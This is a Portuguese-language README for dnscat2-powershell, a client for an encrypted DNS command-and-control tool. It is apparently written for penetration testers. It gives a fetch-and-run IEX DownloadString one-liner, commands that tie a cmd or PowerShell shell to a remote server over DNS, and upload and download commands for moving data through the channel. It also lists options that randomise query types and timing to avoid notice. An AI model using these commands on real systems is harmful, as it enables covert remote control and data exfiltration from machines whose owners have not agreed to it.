
Um cliente Powershell para dnscat2, uma ferramenta de comando e controle DNS criptografado.
dnscat2 é uma ferramenta de canal encoberto DNS criada por @iagox86 (Ron Bowes) que é usada para transferir dados através de requisições DNS.
Esta é uma versão em powershell do cliente C do dnscat2.
Clique aqui para um post no blog que fornece uma análise mais detalhada do propósito deste script e como usá-lo.
Para usar este script, você precisará do servidor ruby dnscat2 server. Certifique-se de adicionar a opção --no-cache ao executar o servidor. Este cliente é incompatível com o cache do servidor.
Primeiro, instale o servidor dnscat2. Inicie o servidor com o cache desabilitado usando --no-cache. O comando para iniciar seu servidor deve ser algo como: ruby dnscat2.rb --dns="domain=example.com" --no-cache
Em seguida, abra o Windows Powershell (versão 2.0 ou posterior). Você pode usar este comando para carregar as funções powershell do dnscat2:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
Start-Dnscat2 é a função real usada como cliente. Especifique o servidor dnscat2 usando -Domain.
Iniciar uma sessão de comando e enviar requisições DNS para 8.8.8.8 na porta 53:
Start-Dnscat2 -Domain <servidor dnscat2> -DNSServer 8.8.8.8
Enviar um shell cmd e enviar requisições DNS para o servidor DNS padrão configurado no Windows:
Start-Dnscat2 -Domain <servidor dnscat2> -Exec cmd
Iniciar uma sessão de console. Usar apenas requisições CNAME, MX e AAAA:
Start-Dnscat2 -Domain <servidor dnscat2> -LookupTypes @("CNAME","MX","AAAA") -Console
Não criptografar a sessão. A criptografia está ativada por padrão.
Start-Dnscat2 -Domain <servidor dnscat2> -NoEncryption
O cliente pode lidar com comandos normais do dnscat2 ou a versão powershell desse comando. Para usar a versão powershell de um comando, defina parâmetros específicos que o cliente detectará (Estes são comandos executados a partir de uma sessão de comando no servidor):
Iniciar uma nova sessão que simula um shell Powershell, como ExecPS:
exec psh
Enviar o app.exe do servidor para uma string hexadecimal armazenada na variável powershell $app:
upload app.exe hex:$app
Baixar o array de bytes armazenado na variável powershell $app para app.exe no servidor:
download bytes:$app app.exe
-Domain <String> O domínio sendo usado pelo servidor dnscat2.
-DNSServer <String> O hostname ou endereço IP para enviar as consultas DNS. (Padrão: Definido pelo Windows)
-DNSPort <Int32> A porta para enviar as consultas DNS. (Padrão: 53)
-Command Iniciar uma sessão de comando. (Padrão)
-Exec <String> Vincular a E/S de um processo com a sessão Dnscat2.
-Console Vincular a E/S do console com a sessão Dnscat2.
-ExecPS Simular uma sessão Powershell e vincular a E/S com a sessão Dnscat2.
AVISO: Sair irá encerrar todo o cliente dnscat2, não apenas a sessão.
-PreSharedSecret Definir a mesma chave secreta no servidor para autenticar e evitar MITM.
-NoEncryption Não usar criptografia.
-LookupTypes <String[]> Definir um array de tipos de consulta para alternar aleatoriamente.
Apenas registros TXT, MX, CNAME, A e AAAA são suportados. Padrão: @(TXT, MX, CNAME)
-Delay <Int32> Definir um atraso entre cada requisição, em milissegundos. (Padrão: 0)
-MaxRandomDelay <Int32> Definir o valor máximo de um atraso aleatório adicionado ao atraso normal, em milissegundos. (Padrão: 0)
-MaxPacketSize <Int32> Comprimento máximo de um pacote dnscat2. (Padrão: 240)
-Name <String> O nome da sua sessão dnscat2. (Padrão: hostname)
dnscat2-powershell simula uma sessão powershell passando dados do servidor para o Invoke-Expression. Apenas a saída padrão é retornada, e as variáveis são preservadas enquanto o cliente estiver em execução. Cuidado com coisas que saem do powershell, como "exit" e "break", pois todo o cliente dnscat2-powershell será encerrado, não apenas a sessão ExecPS.